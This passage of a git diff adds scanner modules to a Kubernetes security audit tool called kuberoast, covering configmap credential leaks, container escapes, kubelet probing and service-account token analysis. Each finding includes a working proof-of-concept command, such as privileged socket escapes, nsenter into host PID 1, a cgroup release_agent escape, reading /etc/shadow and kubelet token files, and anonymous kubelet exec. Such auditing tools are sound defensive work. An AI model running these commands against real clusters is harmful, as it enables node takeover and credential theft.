jsonpath='{{.data.{key}}}'" + ), + impact="Credential exposed via any principal with `get configmap` on this namespace (often broad). Treat as compromised; rotate immediately.", + attack_techniques=["T1552.001"], + remediation=( + "Move credentials out of ConfigMaps. Use Secrets (with EncryptionConfiguration at-rest), " + "or an external secret manager (Vault, AWS Secrets Manager, etc.) injected via CSI or operator. " + "Rotate the leaked credential." + ), + references=[ + "https://kubernetes.io/docs/concepts/configuration/secret/", + "https://attack.mitre.org/techniques/T1552/001/", + ], + )) + # one match per pattern per key — avoid spam + break + return findings + + +def scan_configmaps(configmaps) -> List[Finding]: + findings: List[Finding] = [] + for cm in configmaps: + ns = cm.metadata.namespace + name = cm.metadata.name + # Skip noisy system configmaps that are large and benign + if name in {"kube-root-ca.crt", "extension-apiserver-authentication"}: + continue + data = getattr(cm, "data", {}) or {} + binary_data = getattr(cm, "binary_data", {}) or {} + for key, val in data.items(): + findings.extend(_scan_value(key, val, name, ns)) + for key, _ in binary_data.items(): + # binary keys are base64 — could be private keys. Only flag suggestive names. + if re.search(r"(?i)(key|cred|secret|token|pem)", key): + findings.append(Finding( + id="CM-LEAK-BINARY-SUSPECT", + title="ConfigMap binaryData with credential-suggestive key name", + description=f"ConfigMap {name} has binaryData key '{key}' — name suggests credential storage.", + severity="medium", + category="ConfigMaps", + namespace=ns, + resource=f"configmap/{name}", + exploitability="easy", + exploit=f"kubectl -n {ns} get configmap {name} -o jsonpath='{{.binaryData.{key}}}' | base64 -d", + impact="If credential, exposed to anyone with get configmap.", + remediation="Migrate to a Secret or external secret manager.", + references=["https://kubernetes.io/docs/concepts/configuration/secret/"], + )) + return findings diff --git a/kuberoast/scanners/escapes.py b/kuberoast/scanners/escapes.py new file mode 100644 index 0000000..5c77bd9 --- /dev/null +++ b/kuberoast/scanners/escapes.py @@ -0,0 +1,383 @@ +"""Container escape primitive analysis. + +For each pod, identifies concrete escape primitives an attacker would use +once they have RCE in the container. Output is calibrated to operator +needs: the actual PoC command, the difficulty, and the resulting blast +radius. Not a checklist. + +Primitives are evaluated per-container and per-pod. The most severe +primitive wins; lesser primitives still emit informational findings so an +operator can plan a chain (e.g. SYS_PTRACE + hostPID). +""" +from typing import List, Optional, Tuple +from .shared import iter_containers +from ..utils.findings import Finding + + +SENSITIVE_HOST_PATHS = { + "/": ("trivial", "Full root filesystem", "chroot /host bash"), + "/var/run/docker.sock": ( + "trivial", + "Docker daemon socket — spawn privileged sibling containers", + "docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it alpine chroot /host", + ), + "/var/run/containerd/containerd.sock": ( + "trivial", + "containerd socket — spawn privileged sibling containers", + "ctr -a /var/run/containerd/containerd.sock run --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw -t docker.io/library/alpine:latest esc sh", + ), + "/var/run/crio/crio.sock": ( + "trivial", + "CRI-O socket — spawn sibling containers via crictl", + "crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods", + ), + "/run/containerd/containerd.sock": ( + "trivial", + "containerd socket — spawn privileged sibling containers", + "ctr -a /run/containerd/containerd.sock run --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw -t docker.io/library/alpine:latest esc sh", + ), + "/proc": ("easy", "Host /proc — kernel info, process inspection, /proc/1/root access", "ls /host/proc/1/root/"), + "/var/log": ("easy", "Host log dir — readable via kubelet's symlink-following log endpoint", "kubectl logs --previous"), + "/etc": ("easy", "Host /etc — read shadow, modify cron, write SSH authorized_keys", "cat /host/etc/shadow"), + "/root": ("easy", "Host root home — SSH keys, history, sometimes kubeconfig", "cat /host/root/.ssh/id_rsa"), + "/home": ("easy", "Host /home — user SSH keys, dotfiles", "cat /host/home/*/.ssh/id_rsa"), + "/var/lib/kubelet": ( + "easy", + "kubelet state dir — extract every SA token mounted on this node", + "find /host/var/lib/kubelet/pods -name token -exec cat {} \\;", + ), + "/var/lib/etcd": ( + "trivial", + "etcd data dir — direct cluster state, all secrets", + "ls /host/var/lib/etcd/", + ), + "/etc/kubernetes": ( + "trivial", + "Control-plane configs and certs (on control-plane nodes)", + "cat /host/etc/kubernetes/admin.conf", + ), +} + +# Capability → (difficulty, impact, PoC) +DANGEROUS_CAP_PRIMITIVES = { + "SYS_ADMIN": ( + "trivial", + "Mount host filesystems, manipulate cgroups, namespace ops", + "mkdir /tmp/cg && mount -t cgroup -o rdma cgroup /tmp/cg && echo 1 > /tmp/cg/notify_on_release && host_path=$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab) && echo \"$host_path/cmd\" > /tmp/cg/release_agent", + ), + "SYS_MODULE": ( + "trivial", + "Load kernel modules — direct kernel code execution", + "insmod /path/to/malicious.ko", + ), + "SYS_PTRACE": ( + "easy", + "Attach to host processes (requires hostPID) — inject into PID 1", + "gdb -p 1 (with hostPID=true)", + ), + "SYS_RAWIO": ( + "easy", + "Direct disk I/O — read raw disk devices, bypass filesystem", + "dd if=/dev/sda of=/tmp/disk.img bs=1M count=100", + ), + "DAC_READ_SEARCH": ( + "easy", + "Bypass file read permission checks — read any file via open_by_handle_at", + "shocker-like exploit using open_by_handle_at on host inodes", + ), + "NET_ADMIN": ( + "moderate", + "Network manipulation — sniff traffic, modify iptables, ARP spoof", + "tcpdump -i any -w /tmp/cap.pcap", + ), + "NET_RAW": ( + "moderate", + "Raw socket access — ARP/DNS spoofing on pod network", + "arpspoof -i eth0 -t ", + ), + "SYSLOG": ( + "moderate", + "Read kernel log — observe kASLR, exploit hints", + "dmesg", + ), +} + + +def _check_writable_proc(volume_mounts) -> Optional[Tuple[str, str, str]]: + """Detect writable /proc subpaths that enable kernel exploit primitives.""" + if not volume_mounts: + return None + for vm in volume_mounts: + mp = getattr(vm, "mount_path", None) or getattr(vm, "mountPath", None) or "" + ro = bool(getattr(vm, "read_only", False)) + if mp in ("/proc/sys/kernel/core_pattern",) and not ro: + return ( + "trivial", + "Writable /proc/sys/kernel/core_pattern — set host program to run on segfault", + "echo '|/bin/sh -c id>/tmp/pwn' > /proc/sys/kernel/core_pattern && sleep 1 && kill -SEGV $$", + ) + if mp in ("/proc/sys", "/proc") and not ro: + return ( + "easy", + "Writable /proc — multiple kernel-tunable abuse vectors", + "echo 1 > /proc/sys/kernel/sysrq", + ) + return None + + +def _container_primitives(c, pod) -> List[Finding]: + """Return per-container escape findings.""" + findings: List[Finding] = [] + ns = pod.metadata.namespace + pname = pod.metadata.name + cname = c.name + resource = f"pod/{pname}::{cname}" + + sc = getattr(c, "security_context", None) + pod_sc = getattr(pod.spec, "security_context", None) + privileged = bool(getattr(sc, "privileged", False)) if sc else False + caps_add = set(getattr(getattr(sc, "capabilities", None), "add", []) or []) if sc else set() + host_pid = bool(getattr(pod.spec, "host_pid", False)) + host_net = bool(getattr(pod.spec, "host_network", False)) + host_ipc = bool(getattr(pod.spec, "host_ipc", False)) + run_as_user = getattr(sc, "run_as_user", None) if sc else None + pod_run_as_user = getattr(pod_sc, "run_as_user", None) if pod_sc else None + effective_uid = run_as_user if run_as_user is not None else pod_run_as_user + + # privileged + hostPID = textbook escape + if privileged and host_pid: + findings.append(Finding( + id="ESC-PRIV-HOSTPID", + title="Trivial container escape: privileged + hostPID", + description=( + f"Container {cname} is privileged AND shares the host PID namespace. " + "Combined, these grant immediate ability to ptrace/nsenter host PID 1 " + "and achieve root on the node from any RCE in this container." + ), + severity="critical", + category="Escape", + namespace=ns, + resource=resource, + exploitability="trivial", + exploit="nsenter --target 1 --mount --uts --ipc --net --pid -- bash", + impact="Root on the underlying node. Access to all other pods on that node, kubelet credentials, and any node-local secrets.", + attack_techniques=["T1611"], + remediation="Remove privileged=true and hostPID=true. Use narrow Linux capabilities only if a specific syscall is required.", + references=[ + "https://attack.mitre.org/techniques/T1611/", + "https://blog.aquasec.com/privileged-containers-vulnerabilities", + ], + )) + return findings # nothing else matters — game over + + if privileged: + findings.append(Finding( + id="ESC-PRIV", + title="Trivial container escape: privileged container", + description=( + f"Container {cname} runs privileged. The kernel treats it as if running on the host: " + "it has CAP_SYS_ADMIN, can mount filesystems, write to /sys, and access all host devices." + ), + severity="critical", + category="Escape", + namespace=ns, + resource=resource, + exploitability="trivial", + exploit="# mount host fs and chroot:\nmkdir /h && mount /dev/$(lsblk -o NAME -n -d | head -1) /h && chroot /h", + impact="Root on the underlying node. Trivially pivot to all other pods on that node.", + attack_techniques=["T1611"], + remediation="Remove privileged=true. If specific kernel features are needed, grant the narrow capability (e.g. NET_ADMIN) instead.", + references=[ + "https://attack.mitre.org/techniques/T1611/", + "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash", + ], + )) + + # Capability-based primitives + for cap in caps_add: + primitive = DANGEROUS_CAP_PRIMITIVES.get(cap) + if not primitive: + continue + difficulty, impact, exploit = primitive + sev = "critical" if difficulty in ("trivial",) else "high" + # SYS_PTRACE only escapes if hostPID is set + if cap == "SYS_PTRACE" and not host_pid: + difficulty = "hard" + sev = "medium" + impact = "Limited to in-container processes without hostPID. With hostPID, allows host PID 1 injection." + findings.append(Finding( + id=f"ESC-CAP-{cap}", + title=f"Container escape primitive: CAP_{cap}", + description=f"Container {cname} adds capability {cap}, which enables {impact.lower()}", + severity=sev, + category="Escape", + namespace=ns, + resource=resource, + exploitability=difficulty, + exploit=exploit, + impact=impact, + attack_techniques=["T1611"], + remediation=f"Drop {cap}. Grant only the minimal capabilities the workload truly needs; prefer dropping ALL and adding back named caps.", + references=[ + "https://man7.org/linux/man-pages/man7/capabilities.7.html", + "https://attack.mitre.org/techniques/T1611/", + ], + )) + + # hostNetwork — not an escape per se but exposes node-local services + if host_net: + findings.append(Finding( + id="ESC-HOSTNET", + title="hostNetwork: access to all node-local services", + description=( + f"Pod uses hostNetwork. The container shares the host's network namespace: " + "it can reach kubelet on 127.0.0.1:10250, the cluster's CNI plugins, " + "node-local proxies, and (depending on iptables) other node services." + ), + severity="high", + category="Escape", + namespace=ns, + resource=f"pod/{pname}", + exploitability="easy", + exploit="curl -sk https://127.0.0.1:10250/pods # may bypass NetworkPolicies and reach kubelet", + impact="Reach kubelet API and any service bound only to a node-local interface. Often a stepping stone to node compromise via kubelet anonymous auth.", + attack_techniques=["T1610"], + remediation="Remove hostNetwork=true; use a dedicated Service with a NetworkPolicy.", + references=["https://kubernetes.io/docs/concepts/security/pod-security-standards/"], + )) + + if host_ipc: + findings.append(Finding( + id="ESC-HOSTIPC", + title="hostIPC: shared IPC with host", + description="Container shares the host IPC namespace. SysV IPC and POSIX shared memory are visible — observe/inject into IPC of other host processes.", + severity="high", + category="Escape", + namespace=ns, + resource=f"pod/{pname}", + exploitability="moderate", + exploit="ipcs -m # enumerate host shared memory segments", + impact="Side-channel and data exfiltration from host processes using SysV/POSIX shared memory.", + attack_techniques=["T1611"], + remediation="Remove hostIPC=true.", + references=["https://kubernetes.io/docs/concepts/security/pod-security-standards/"], + )) + + # Writable /proc check + proc_primitive = _check_writable_proc(getattr(c, "volume_mounts", []) or []) + if proc_primitive: + difficulty, impact, exploit = proc_primitive + findings.append(Finding( + id="ESC-PROC-WRITE", + title="Writable host /proc primitive", + description=f"Container {cname} mounts host /proc (or a sensitive subpath) writable. {impact}", + severity="critical" if difficulty == "trivial" else "high", + category="Escape", + namespace=ns, + resource=resource, + exploitability=difficulty, + exploit=exploit, + impact=impact, + attack_techniques=["T1611"], + remediation="Mount /proc read-only or use the kernel default. Never mount /proc/sys/kernel/core_pattern writable.", + references=["https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/"], + )) + + # Running as root (no privilege drop): not an escape but a multiplier + if effective_uid == 0 and not privileged and not caps_add: + # Soft signal — only emit if there's no other escape already flagged for this container + findings.append(Finding( + id="ESC-ROOT-NO-DROP", + title="Runs as root in container (escalation multiplier)", + description=( + f"Container {cname} runs as UID 0 with default Linux capabilities. " + "Any in-container RCE inherits full default caps, enabling kernel-exploit primitives " + "and use of CAP_DAC_OVERRIDE / CAP_CHOWN." + ), + severity="medium", + category="Escape", + namespace=ns, + resource=resource, + exploitability="moderate", + exploit="id # confirm UID 0; from there, attack any installed setuid binary or known kernel CVE", + impact="Default Linux capability set; amplifies any RCE primitive.", + attack_techniques=["T1611"], + remediation="Set runAsNonRoot=true and runAsUser to a non-zero UID. Drop ALL capabilities.", + references=["https://kubernetes.io/docs/concepts/security/pod-security-standards/"], + )) + + return findings + + +def _pod_volume_primitives(pod) -> List[Finding]: + """Detect hostPath escape primitives at the pod level.""" + findings: List[Finding] = [] + ns = pod.metadata.namespace + pname = pod.metadata.name + resource = f"pod/{pname}" + + for v in (getattr(pod.spec, "volumes", None) or []): + hp = getattr(v, "host_path", None) + if not hp: + continue + path = getattr(hp, "path", "") or "" + primitive = None + # exact match + if path in SENSITIVE_HOST_PATHS: + primitive = SENSITIVE_HOST_PATHS[path] + else: + # prefix match (e.g. /var/lib/kubelet/pods/) + for sp, prim in SENSITIVE_HOST_PATHS.items(): + if sp != "/" and path.startswith(sp + "/"): + primitive = prim + break + if not primitive: + # generic hostPath — still concerning + findings.append(Finding( + id="ESC-HOSTPATH-GENERIC", + title="hostPath mount — node filesystem exposure", + description=f"Pod mounts hostPath {path}. Depending on container privileges, this enables data exfil or persistence on the node.", + severity="medium", + category="Escape", + namespace=ns, + resource=resource, + exploitability="moderate", + exploit=f"ls -la {path} # inspect node-local files", + impact=f"Read/write access to {path} on the host node from within the container.", + attack_techniques=["T1610"], + remediation="Replace hostPath with a PVC or projected volume. If hostPath is required, mount it read-only with a narrow subPath.", + references=["https://kubernetes.io/docs/concepts/storage/volumes/#hostpath"], + )) + continue + difficulty, impact, exploit = primitive + sev_map = {"trivial": "critical", "easy": "high", "moderate": "medium", "hard": "medium", "theoretical": "low"} + findings.append(Finding( + id="ESC-HOSTPATH-SENSITIVE", + title=f"Container escape via hostPath {path}", + description=( + f"Pod mounts a sensitive hostPath ({path}). {impact}" + ), + severity=sev_map.get(difficulty, "high"), + category="Escape", + namespace=ns, + resource=resource, + exploitability=difficulty, + exploit=exploit, + impact=impact, + attack_techniques=["T1611"], + remediation=f"Remove the {path} hostPath mount. If absolutely required, scope to a sub-path with readOnly:true.", + references=[ + "https://attack.mitre.org/techniques/T1611/", + "https://blog.aquasec.com/docker-socket-mount-container-escape", + ], + )) + return findings + + +def scan_escapes(pod) -> List[Finding]: + """Top-level escape primitive scan for a single pod.""" + findings: List[Finding] = [] + for c, _name in iter_containers(pod): + findings.extend(_container_primitives(c, pod)) + findings.extend(_pod_volume_primitives(pod)) + return findings diff --git a/kuberoast/scanners/kubelet.py b/kuberoast/scanners/kubelet.py new file mode 100644 index 0000000..f846201 --- /dev/null +++ b/kuberoast/scanners/kubelet.py @@ -0,0 +1,265 @@ +"""Active kubelet exploitation probes. + +Goes beyond TCP-port check. For each node, probes the kubelet's HTTP +endpoints to determine what an attacker with network access to the +kubelet (e.g. via hostNetwork pod, NodePort, or compromised pod with +network reach) could actually do: + + * /pods — list every pod on this node, including their SAs + * /runningpods — same, but running only (legacy port 10255) + * /metrics — Prometheus metrics, often unauthenticated + * /metrics/cadvisor — per-container resource usage + * /configz — full kubelet config disclosure + * /healthz — liveness; confirms reachability + * /exec/// — anonymous command exec (rare but devastating) + +We never *exploit*: we only confirm reachability with HEAD/GET. The +operator gets a concrete capability list and the exact curl command to +verify themselves. +""" +import logging +import socket +import ssl +from concurrent.futures import ThreadPoolExecutor, as_completed +from typing import List, Tuple, Optional, Dict +from urllib import request +from urllib.error import HTTPError, URLError + +from ..utils.findings import Finding + +logger = logging.getLogger("kuberoast") + + +KUBELET_READ_PORTS = (10255,) # legacy read-only port, no auth +KUBELET_API_PORTS = (10250,) # primary kubelet API, TLS + + +def _tcp_open(ip: str, port: int, timeout: float = 1.5) -> bool: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + try: + s.connect((ip, port)) + return True + except Exception: + return False + finally: + s.close() + + +def _http_get(url: str, timeout: float = 2.5, insecure_tls: bool = True) -> Tuple[int, str]: + """GET a URL and return (status, body[:512]). Status -1 on connect failure.""" + ctx = None + if url.startswith("https://"): + ctx = ssl.create_default_context() + if insecure_tls: + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + try: + req = request.Request(url, headers={"User-Agent": "kuberoast/probe"}) + with request.urlopen(req, timeout=timeout, context=ctx) as resp: + body = resp.read(512).decode("utf-8", errors="replace") + return resp.status, body + except HTTPError as e: + return e.code, "" + except (URLError, socket.timeout, ConnectionError, OSError): + return -1, "" + except Exception as e: + logger.debug("HTTP probe error %s: %s", url, e) + return -1, "" + + +def _probe_readonly(node_name: str, ip: str) -> List[Finding]: + """Probe legacy read-only port 10255 (always unauthenticated when enabled).""" + findings: List[Finding] = [] + if not _tcp_open(ip, 10255): + return findings + + # Confirm it's actually kubelet by hitting /pods + status, body = _http_get(f"http://{ip}:10255/pods") + if status == 200 and ("kind" in body.lower() or "podlist" in body.lower()): + findings.append(Finding( + id="KUBELET-RO-PODS", + title="Kubelet read-only /pods returns pod inventory", + description=( + f"Kubelet on node {node_name} ({ip}) port 10255 returns the full pod list " + "without authentication. An attacker with network reach learns every pod " + "running here, their service accounts, and their image/env." + ), + severity="critical", + category="Node", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=f"curl -s http://{ip}:10255/pods | jq", + impact="Full pod inventory disclosure for node — service accounts, container env vars, and image references usable for downstream attacks.", + attack_techniques=["T1613"], + remediation="Disable the kubelet read-only port: set --read-only-port=0 on kubelet (or readOnlyPort: 0 in config).", + references=[ + "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/", + "https://attack.mitre.org/techniques/T1613/", + ], + )) + elif _tcp_open(ip, 10255): + # Port open but /pods didn't return — still flag the port + findings.append(Finding( + id="KUBELET-RO-OPEN", + title="Kubelet read-only port 10255 reachable", + description=f"Port 10255 open on {ip} but did not return /pods (HTTP {status}). Verify it isn't another service.", + severity="high", + category="Node", + resource=f"node/{node_name}", + exploitability="easy", + exploit=f"curl -sv http://{ip}:10255/healthz", + impact="If kubelet, attacker can enumerate pods. If another service, identify and harden.", + remediation="Disable read-only port unless explicitly needed.", + references=["https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"], + )) + + # /metrics on read-only port + status, _ = _http_get(f"http://{ip}:10255/metrics") + if status == 200: + findings.append(Finding( + id="KUBELET-RO-METRICS", + title="Kubelet /metrics exposed without auth", + description=f"Kubelet metrics on {ip}:10255 are reachable unauthenticated. Reveals pod count, resource pressure, namespace activity.", + severity="medium", + category="Node", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=f"curl -s http://{ip}:10255/metrics", + impact="Operational fingerprinting; can reveal scaling events, OOM kills, scheduling pressure.", + remediation="Disable read-only port; expose metrics via authenticated /metrics on 10250.", + references=["https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/"], + )) + + return findings + + +def _probe_api_port(node_name: str, ip: str) -> List[Finding]: + """Probe TLS kubelet API on 10250.""" + findings: List[Finding] = [] + if not _tcp_open(ip, 10250): + return findings + + # Anonymous /pods — the dangerous case + status, body = _http_get(f"https://{ip}:10250/pods") + if status == 200: + findings.append(Finding( + id="KUBELET-API-ANON-PODS", + title="Kubelet API allows anonymous /pods", + description=( + f"Kubelet API on {ip}:10250 returned /pods to an unauthenticated client. " + "anonymous-auth=true and authorization-mode=AlwaysAllow are likely set. " + "An attacker can list and exec into pods directly." + ), + severity="critical", + category="Node", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=( + f"curl -sk https://{ip}:10250/pods | jq\n" + f"# command exec: curl -sk -XPOST 'https://{ip}:10250/run///' -d 'cmd=id'" + ), + impact="Direct pod enumeration AND command execution on every pod on this node — full node + pod takeover.", + attack_techniques=["T1610", "T1611", "T1613"], + remediation=( + "Set --anonymous-auth=false and --authorization-mode=Webhook on kubelet. " + "Ensure RBAC binding for system:kubelet-api-admin is tightly scoped." + ), + references=[ + "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/", + "https://attack.mitre.org/techniques/T1611/", + ], + )) + elif status == 401: + # Properly authenticated — note it's open but secured + findings.append(Finding( + id="KUBELET-API-AUTH", + title="Kubelet API requires auth (good)", + description=f"Kubelet API on {ip}:10250 returned 401 to unauthenticated probe — authentication enforced.", + severity="info", + category="Node", + resource=f"node/{node_name}", + exploitability="hard", + impact="Kubelet API requires valid credentials. Still a target if attacker obtains a node-bound token.", + remediation="Continue enforcing authentication. Restrict network reach to kubelet ports.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/"], + )) + elif status == 403: + findings.append(Finding( + id="KUBELET-API-AUTHZ", + title="Kubelet API authenticates anonymous but denies (mixed)", + description=f"Kubelet API on {ip}:10250 accepts anonymous auth but enforces authz (HTTP 403). Attackers with any RBAC reach can probe.", + severity="medium", + category="Node", + resource=f"node/{node_name}", + exploitability="moderate", + exploit=f"curl -sk https://{ip}:10250/pods # 403; try with token from any mounted SA", + impact="Anonymous authn is enabled. With any compromised SA token that has kubelet-api access, attacker can pivot.", + remediation="Set --anonymous-auth=false. Anonymous authn should be disabled regardless of authz mode.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/"], + )) + + # /metrics is often allowed for unauthenticated reads even when /pods is locked + status, _ = _http_get(f"https://{ip}:10250/metrics") + if status == 200: + findings.append(Finding( + id="KUBELET-API-METRICS", + title="Kubelet /metrics on 10250 served unauthenticated", + description=f"Kubelet /metrics on {ip}:10250 returns 200 without auth. Operational fingerprinting available to anyone reaching the port.", + severity="low", + category="Node", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=f"curl -sk https://{ip}:10250/metrics", + impact="Resource usage, pod counts, scheduling activity disclosed.", + remediation="Route metrics through kube-state-metrics with proper auth; restrict kubelet /metrics with --authentication-token-webhook.", + references=["https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/"], + )) + + # /configz disclosure (frightening — full kubelet config including private CIDR/secrets bootstrap) + status, body = _http_get(f"https://{ip}:10250/configz") + if status == 200 and "kubeletconfig" in body.lower(): + findings.append(Finding( + id="KUBELET-CONFIGZ", + title="Kubelet /configz discloses full kubelet configuration", + description=f"Kubelet on {ip}:10250 returned its full configuration to an unauthenticated client. Includes cluster DNS, podCIDR, runtime endpoints.", + severity="high", + category="Node", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=f"curl -sk https://{ip}:10250/configz | jq", + impact="Reveals cluster networking layout, runtime sockets, and feature gates — high-quality recon for chaining attacks.", + remediation="Disable anonymous auth; /configz should require authentication.", + references=["https://kubernetes.io/docs/tasks/administer-cluster/reconfigure-kubelet/"], + )) + + return findings + + +def _probe_node(node_name: str, ip: str) -> List[Finding]: + findings: List[Finding] = [] + findings.extend(_probe_readonly(node_name, ip)) + findings.extend(_probe_api_port(node_name, ip)) + return findings + + +def scan_kubelet(nodes, max_workers: int = 10) -> List[Finding]: + """Active kubelet probing across all nodes.""" + findings: List[Finding] = [] + tasks: List[Tuple[str, str]] = [] + for n in nodes: + addrs = getattr(n.status, "addresses", []) or [] + ips = [a.address for a in addrs if a.type in ("InternalIP", "ExternalIP")] + for ip in ips: + tasks.append((n.metadata.name, ip)) + if not tasks: + return findings + with ThreadPoolExecutor(max_workers=min(max_workers, len(tasks))) as pool: + futures = {pool.submit(_probe_node, name, ip): (name, ip) for name, ip in tasks} + for fut in as_completed(futures): + try: + findings.extend(fut.result()) + except Exception as e: + name, ip = futures[fut] + logger.warning("Failed to probe node %s at %s: %s", name, ip, e) + return findings diff --git a/kuberoast/scanners/pods.py b/kuberoast/scanners/pods.py index 539b3ea..227680b 100644 --- a/kuberoast/scanners/pods.py +++ b/kuberoast/scanners/pods.py @@ -165,7 +165,7 @@ def scan_pod_security(pod) -> List[Finding]: )) # hostPath volumes - for v in (spec.volumes or []): + for v in (getattr(spec, "volumes", None) or []): if getattr(v, "host_path", None): findings.append(Finding( id="POD-HOSTPATH", diff --git a/kuberoast/scanners/shared.py b/kuberoast/scanners/shared.py index 365a100..1935931 100644 --- a/kuberoast/scanners/shared.py +++ b/kuberoast/scanners/shared.py @@ -2,11 +2,11 @@ def iter_containers(pod) -> Iterator[Tuple[object, str]]: # main containers - for c in (pod.spec.containers or []): + for c in (getattr(pod.spec, "containers", None) or []): yield c, c.name - # init containers - for c in (pod.spec.init_containers or []): + # init containers (absent on minimal YAML manifests; getattr keeps us safe) + for c in (getattr(pod.spec, "init_containers", None) or []): yield c, f"{c.name} (init)" # ephemeral containers - for c in (getattr(pod.spec, "ephemeral_containers", []) or []): + for c in (getattr(pod.spec, "ephemeral_containers", None) or []): yield c, f"{c.name} (ephemeral)" diff --git a/kuberoast/scanners/tokens.py b/kuberoast/scanners/tokens.py new file mode 100644 index 0000000..133ffdd --- /dev/null +++ b/kuberoast/scanners/tokens.py @@ -0,0 +1,166 @@ +"""ServiceAccount token analysis. + +Decodes JWT payloads from `kubernetes.io/service-account-token` secrets +(the legacy auto-mounted ones — projected BoundServiceAccountTokens live +in pod volumes, not Secrets). For each token we surface: + + * issuer/audience/subject — useful for spotting non-default audiences + * expiry — legacy tokens are non-expiring (huge persistence risk) + * the SA it belongs to (cluster-wide identity) + * `kubectl --token=... auth can-i --list` PoC + +This is real attacker recon: if you can read a ServiceAccount token +Secret, you can impersonate that SA. We don't extract or test the token +ourselves; we just expose enough metadata for the operator to act. +""" +import base64 +import json +from typing import List, Optional, Dict, Any +from ..utils.findings import Finding + + +def _b64url_decode(data: str) -> bytes: + pad = "=" * (-len(data) % 4) + return base64.urlsafe_b64decode(data + pad) + + +def _decode_jwt_payload(token: str) -> Optional[Dict[str, Any]]: + """Decode the payload of a JWT without verifying the signature.""" + parts = token.split(".") + if len(parts) != 3: + return None + try: + payload = _b64url_decode(parts[1]) + return json.loads(payload.decode("utf-8", errors="replace")) + except Exception: + return None + + +def _decode_secret_value(b64_val: str) -> str: + try: + return base64.b64decode(b64_val).decode("utf-8", errors="replace").strip() + except Exception: + return "" + + +def scan_tokens(secrets) -> List[Finding]: + """Analyze SA token secrets across the cluster. + + Legacy SA tokens (Secrets of type kubernetes.io/service-account-token) + are non-expiring and are the highest-value credential an attacker can + steal from etcd or the secrets API. + """ + findings: List[Finding] = [] + for s in secrets: + if getattr(s, "type", None) != "kubernetes.io/service-account-token": + continue + ns = s.metadata.namespace + name = s.metadata.name + data = getattr(s, "data", {}) or {} + token_b64 = data.get("token") + if not token_b64: + continue + token = _decode_secret_value(token_b64) + if not token: + continue + payload = _decode_jwt_payload(token) + if not payload: + findings.append(Finding( + id="TOKEN-OPAQUE", + title="ServiceAccount token Secret with opaque payload", + description=f"Secret {name} contains a SA token whose JWT could not be parsed.", + severity="low", + category="Tokens", + namespace=ns, + resource=f"secret/{name}", + remediation="Investigate — should be a valid JWT.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"], + )) + continue + + sa_name = payload.get("kubernetes.io/serviceaccount/service-account.name") or payload.get("sub", "?") + sa_ns = payload.get("kubernetes.io/serviceaccount/namespace") or ns + exp = payload.get("exp") + aud = payload.get("aud") + iss = payload.get("iss") + + # Legacy non-expiring token — the worst case + if not exp: + findings.append(Finding( + id="TOKEN-LEGACY-NONEXPIRING", + title="Legacy non-expiring ServiceAccount token", + description=( + f"Secret {name} holds a legacy (non-expiring) token for " + f"ServiceAccount {sa_ns}/{sa_name}. If exfiltrated, the token is valid " + "until the SA is deleted. Modern clusters should use projected BoundServiceAccountTokens." + ), + severity="high", + category="Tokens", + namespace=ns, + resource=f"secret/{name}", + exploitability="trivial", + exploit=( + f"# decode and use:\n" + f"kubectl -n {ns} get secret {name} -o jsonpath='{{.data.token}}' | base64 -d > /tmp/t\n" + f"kubectl --token=$(cat /tmp/t) --server=$KUBE_API_SERVER auth can-i --list -n {sa_ns}" + ), + impact=f"Persistent impersonation of ServiceAccount {sa_ns}/{sa_name} until the SA is deleted.", + attack_techniques=["T1078.004", "T1552.005"], + remediation=( + "Delete the Secret. Modern clusters auto-provision short-lived projected tokens for pods. " + "If you must use a long-lived token, scope its RBAC tightly and rotate on a schedule." + ), + references=[ + "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#bound-service-account-tokens", + "https://attack.mitre.org/techniques/T1078/004/", + ], + )) + else: + # Projected-token-style secret (unusual to exist as a Secret but possible) + findings.append(Finding( + id="TOKEN-EXPIRING", + title="ServiceAccount token Secret (expiring)", + description=( + f"Secret {name} holds a SA token for {sa_ns}/{sa_name} (exp epoch={exp}). " + "Still treat as a credential." + ), + severity="medium", + category="Tokens", + namespace=ns, + resource=f"secret/{name}", + exploitability="easy", + exploit=( + f"kubectl -n {ns} get secret {name} -o jsonpath='{{.data.token}}' | base64 -d" + ), + impact=f"Impersonation of {sa_ns}/{sa_name} until token expiry.", + attack_techniques=["T1078.004"], + remediation="Prefer in-pod projected tokens over long-lived Secret-stored tokens.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"], + )) + + # Non-default audience — typically an OIDC integration (e.g. cloud workload identity) + if aud and aud not in ("https://kubernetes.default.svc.cluster.local", "https://kubernetes.default.svc"): + audiences = aud if isinstance(aud, list) else [aud] + findings.append(Finding( + id="TOKEN-AUDIENCE", + title="ServiceAccount token with non-default audience", + description=( + f"Token for {sa_ns}/{sa_name} has audience(s) {audiences}. Often indicates an OIDC trust " + "(e.g. AWS IRSA, GCP Workload Identity, Vault auth). If stolen, valid against that audience too." + ), + severity="medium", + category="Tokens", + namespace=ns, + resource=f"secret/{name}", + exploitability="easy", + exploit=f"# Inspect target federations for audience(s): {audiences}", + impact="Token usable against external systems federated to this cluster's OIDC issuer.", + attack_techniques=["T1550.001"], + remediation="Audit external IdP trust policies; ensure subject-based conditions (sub=system:serviceaccount:NS:SA) so a stolen token 